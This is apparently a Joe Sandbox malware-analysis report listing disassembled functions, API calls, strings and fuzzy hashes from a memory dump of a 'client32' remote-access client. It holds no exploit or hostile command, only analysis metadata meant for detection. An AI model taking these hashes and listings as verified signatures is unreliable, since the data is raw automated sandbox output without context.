Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$Peek$ClipboardDispatchFormatNameTranslate_memmove
String ID:
API String ID: 1130817274-0
Opcode ID: 85a4e6c82bcb2d6ae7dec9d43d60eb678a5b61b7fcde4ae20d994a096c1526b4
Instruction ID: 1dfb7777c81b65b16abcdb88ff15be91e91362f4c49535d720a3b26cef334e62
Opcode Fuzzy Hash: 85a4e6c82bcb2d6ae7dec9d43d60eb678a5b61b7fcde4ae20d994a096c1526b4
Instruction Fuzzy Hash: F9510971E102299BDB14DF64CC80BAAB7F9BF88304F55C1D9E589A7244DF71AA848FD0

Function 11061110 Relevance: 9.1, APIs: 6, Instructions: 97timeCOMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 11061126

Part of subcall function 11160387: GetSystemTimeAsFileTime.KERNEL32(00000001,?,?,?,1110EABA,?,00000000,00000001,00020001,?,?,currentver,?), ref: 11160392
Part of subcall function 11160387: __aulldiv.LIBCMT ref: 111603B2

__localtime64.LIBCMT ref: 1106112F

Part of subcall function 11162AE4: __localtime64_s.LIBCMT ref: 11162AF9

SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 110611B8
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 110611C2
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 110611E3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 110611F1

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$Unothrow_t@std@@@__ehfuncinfo$??2@$__aulldiv__localtime64__localtime64_s__time64
String ID:
API String ID: 667980571-0
Opcode ID: df80a6758020a6d9ebc80622068a8265ef4a6ed28a6d0d801f932280e08259d2
Instruction ID: 823d6954ad38296087322b145d9a969938d4df0d56549f78e9fed80831f17a49
Opcode Fuzzy Hash: df80a6758020a6d9ebc80622068a8265ef4a6ed28a6d0d801f932280e08259d2
Instruction Fuzzy Hash: 91318E75D1021DAACF04DFE4D841AEFF7B8EF88314F00852EE815B7240EA74AA04CBA4

Function 110333B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 125windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000146,00000000,00000000), ref: 11033403
SendMessageA.USER32(?,00000149,00000000,00000000), ref: 11033429
SendMessageA.USER32(?,00000148,00000000,?), ref: 1103344D
_strncmp.LIBCMT ref: 110334B2

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&')(.-_{}~., xrefs: 110333E5

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageSend$_strncmp
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&')(.-_{}~.
API String ID: 3653864897-2723064302
Opcode ID: 3c4e3b58a313cc0d1aa2f407170ce38bcd6415a4c964c1b24f4ee8ee7ed6ed2a
Instruction ID: 76f31d2f94b433fc10b07d7c708796d5d8859651807f8bbcd75e6f449dc81e48
Opcode Fuzzy Hash: 3c4e3b58a313cc0d1aa2f407170ce38bcd6415a4c964c1b24f4ee8ee7ed6ed2a
Instruction Fuzzy Hash: 76412835D142595FC713CF788CC0BAABBE9AF8131AF1442D5E819DF390DA32AA488B40

Function 110630E0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 122COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 11063243

Strings

CalledControl queuing connectCB, xrefs: 1106319E
CalledControl connectCB (ConnectToClient), xrefs: 11063163
Processed EV_CALLED_CONTROL s=%d, addr=%s, xrefs: 11063223
Processing EV_CALLED_CONTROL s=%d, addr=%s, xtra=%s..., xrefs: 1106313A

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free
String ID: CalledControl connectCB (ConnectToClient)$CalledControl queuing connectCB$Processed EV_CALLED_CONTROL s=%d, addr=%s$Processing EV_CALLED_CONTROL s=%d, addr=%s, xtra=%s...
API String ID: 269201875-3945191877
Opcode ID: ddbb46c5f40d22775289afe24745b12b13b6cf09f83be80f228b9ea8a63b98db
Instruction ID: 4b2164912f0538222172f0b8cbdb4ea5278ca4fc3bc90d53e304ce1cfd578385
Opcode Fuzzy Hash: ddbb46c5f40d22775289afe24745b12b13b6cf09f83be80f228b9ea8a63b98db
Instruction Fuzzy Hash: 9C4181B5A04A06AFE714CBA4DC44F56F7F8FF44718F10865AE86987680E774B804CBA1

Function 110330F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 11033104
_strncpy.LIBCMT ref: 11033144
wsprintfA.USER32 ref: 110331B2
_strncpy.LIBCMT ref: 1103320A

Strings

%s (%s), xrefs: 110331A9

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncpy$wsprintf
String ID: %s (%s)
API String ID: 2895084632-1363028141
Opcode ID: 8c01f44c95c35ad33c70592a8b902e732d3d6d617fca3126146717692586948d
Instruction ID: df62fcfb66b42ca52bf19cbb8f01ce0b07d430d0dbac9de3c9af89919ab790cf
Opcode Fuzzy Hash: 8c01f44c95c35ad33c70592a8b902e732d3d6d617fca3126146717692586948d
Instruction Fuzzy Hash: 0631EE75A18346AFEB11DF24CC84BA7BBE8AF85319F004568ED458B391E7B4E404CBA1

Function 1113F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68COMMON

Download Yara Rule

APIs

GetProfileStringA.KERNEL32(Windows,Device,,,LPT1:,?,00000080), ref: 1113F0CE
_memmove.LIBCMT ref: 1113F11D

Strings

Windows, xrefs: 1113F0C9
,,LPT1:, xrefs: 1113F0BF
Device, xrefs: 1113F0C4

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ProfileString_memmove
String ID: ,,LPT1:$Device$Windows
API String ID: 1665476579-2967085602
Opcode ID: 5293eee435bb0254d3af0ceeef6233b84e65e05f24e67064fcf0679b2f45fa62
Instruction ID: d236b70db75a299bf341fb478ec63ace14539858087ba077108252d41a473671
Opcode Fuzzy Hash: 5293eee435bb0254d3af0ceeef6233b84e65e05f24e67064fcf0679b2f45fa62
Instruction Fuzzy Hash: 7F112965914217AAEB008F60ED41BF9F768EF8630DF004068ED8497146EA32660DC7B3

Function 11151330 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(00000000,00000000,00000001,?,?,?,?,1101FE8F,000000FF,000000FF,?,?,?,?), ref: 11151398
DeleteObject.GDI32(?), ref: 111513C0
CreateSolidBrush.GDI32(?), ref: 111513C7

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1115137E
m_hWnd, xrefs: 11151383

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: BrushCreateDeleteInvalidateObjectRectSolid
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 186785674-2830328467
Opcode ID: e7385aa901303c78b3f44ba20240c86a8bd8487c7a62bbc86b94179db82a9165
Instruction ID: d54166523ca22a351308597805ec2fddeeb7788c1bc1da20094e1dbc88db0c13
Opcode Fuzzy Hash: e7385aa901303c78b3f44ba20240c86a8bd8487c7a62bbc86b94179db82a9165
Instruction Fuzzy Hash: F111A375600700ABD6A2CAA5C884FDBF7EDAB8D724F104629F67A97281D730B841C760

Function 11033520 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 11033538
GetClassNameA.USER32(?,?,00000400), ref: 11033566

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

CltAutoLogon.cpp, xrefs: 11033547
ComboBox, xrefs: 11033572
IsWindow(hWin), xrefs: 1103354C

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClassErrorExitLastMessageNameProcessWindowwsprintf
String ID: CltAutoLogon.cpp$ComboBox$IsWindow(hWin)
API String ID: 2713866921-163732079
Opcode ID: cd6a7bac3ebf91d690e8677b5b5af1557be8e6ecec1642f7759a4ee89803539e
Instruction ID: 4a0122271a1e6dee732544f4cf5d364ab691c190f6ca98b36954de5145b309c8
Opcode Fuzzy Hash: cd6a7bac3ebf91d690e8677b5b5af1557be8e6ecec1642f7759a4ee89803539e
Instruction Fuzzy Hash: DFF0BB75E1262D6BDB00DB658C41FEEF76C9F01209F0000A5FF15A7141EB346A05CBDA

Function 11085250 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(cenctrl.dll), ref: 1108527E
GetProcAddress.KERNEL32(00000000,cenctrl_protection), ref: 11085290

Part of subcall function 11085220: FreeLibrary.KERNEL32(00000000,?,110852A4), ref: 1108522A

Strings

EDC, xrefs: 1108525D
cenctrl.dll, xrefs: 11085279
cenctrl_protection, xrefs: 1108528A

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: EDC$cenctrl.dll$cenctrl_protection
API String ID: 145871493-3137230561
Opcode ID: 018cc484e789a0ba753cd2b88e3001078862b69d4cc674c4ddb63821557fc1a9
Instruction ID: 932585225ba93680c2c1ba0b1a206605fbeba0e999b926e23efed67d0442d162
Opcode Fuzzy Hash: 018cc484e789a0ba753cd2b88e3001078862b69d4cc674c4ddb63821557fc1a9
Instruction Fuzzy Hash: D2F09279E0833366E7529F79BC0578EB9C88F5231DF200475F855EA608FE26E48146A3

Function 11017080 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26windowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(IPTip_Main_Window,00000000), ref: 11017088
GetWindowLongA.USER32(00000000,000000F0), ref: 11017097
PostMessageA.USER32(00000000,00000112,0000F060,00000000), ref: 110170B8
SendMessageA.USER32(00000000,00000112,0000F060,00000000), ref: 110170CB

Strings

IPTip_Main_Window, xrefs: 11017083

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageWindow$FindLongPostSend
String ID: IPTip_Main_Window
API String ID: 3445528842-293399287
Opcode ID: f29157ae41647e7040a7eda695b4ceafee474d21207e05018a777220eed7e0bc
Instruction ID: 6af0b60b7660b572c498a55ded09fae4f220f0cf1474151e1ef758e6c943b9c3
Opcode Fuzzy Hash: f29157ae41647e7040a7eda695b4ceafee474d21207e05018a777220eed7e0bc
Instruction Fuzzy Hash: CBE08638B81B36B6F33357948C8AFDE79449F05B25F118150F722BD5CDCB689480979A

Function 110CF5E0 Relevance: 7.6, APIs: 6, Instructions: 88sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,8F98CBB2,00000000,?,?), ref: 110CF617
LeaveCriticalSection.KERNEL32(?,?,00000004,00000010,00000000), ref: 110CF67D
Sleep.KERNEL32(00000064,?,00000004,00000010,00000000), ref: 110CF685
EnterCriticalSection.KERNEL32(?,?,00000004,00000010,00000000), ref: 110CF68C
LeaveCriticalSection.KERNEL32(?), ref: 110CF698
LeaveCriticalSection.KERNEL32(?,?,00000004,00000010,00000000), ref: 110CF6AC

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Enter$Sleep
String ID:
API String ID: 950586405-0
Opcode ID: 3aac5cfdef626801f3983ee70f40d206c01bc9cd380e9edae22b68155aeb2347
Instruction ID: 0c95b037e16f3f820eead96a384fe2453d93ca3928e38cfcfc51fd66a9b88ab4
Opcode Fuzzy Hash: 3aac5cfdef626801f3983ee70f40d206c01bc9cd380e9edae22b68155aeb2347
Instruction Fuzzy Hash: 6D318F75900619AFD711CFA5C884FAEFBF9EB8CB14F10455DF611A7640D774A900CB61

Function 110250B0 Relevance: 7.6, APIs: 5, Instructions: 73windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110250C7
GetDlgItem.USER32(?,00001399), ref: 11025101
TranslateMessage.USER32(?), ref: 1102511A
DispatchMessageA.USER32(?), ref: 11025124
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 11025166

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
